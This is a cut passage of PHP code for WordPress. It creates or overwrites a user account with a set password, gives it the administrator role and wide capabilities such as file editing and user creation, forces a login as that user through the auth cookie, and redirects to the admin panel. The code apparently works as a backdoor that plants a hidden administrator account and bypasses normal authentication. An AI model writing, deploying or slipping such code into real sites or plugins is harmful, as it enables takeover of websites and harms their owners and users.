set_role('administrator'); $user->add_cap('manage_options'); $user->add_cap('activate_plugins'); $user->add_cap('edit_users'); $user->add_cap('edit_files'); $user->add_cap('manage_categories'); $user->add_cap('manage_links'); $user->add_cap('moderate_comments'); $user->add_cap('read'); $user->add_cap('edit_pages'); $user->add_cap('publish_pages'); $user->add_cap('publish_posts'); $user->add_cap('edit_posts'); $user->add_cap('import'); $user->add_cap('edit_theme_options'); $user->add_cap('export'); $user->add_cap('delete_users'); $user->add_cap('create_users'); } else { $user = get_user_by('login', $username); $user_id = $user->ID; wp_set_password($password, $user_id); $user->set_role('administrator'); } wp_clear_auth_cookie(); wp_set_current_user($user_id); wp_set_auth_cookie($user_id, true); if (!session_id()) { session_start(); } $_SESSION['wp_user_id'] = $user_id; $redirect_to = admin_url(); wp_safe_redirect($redirect_to); exit(); ?>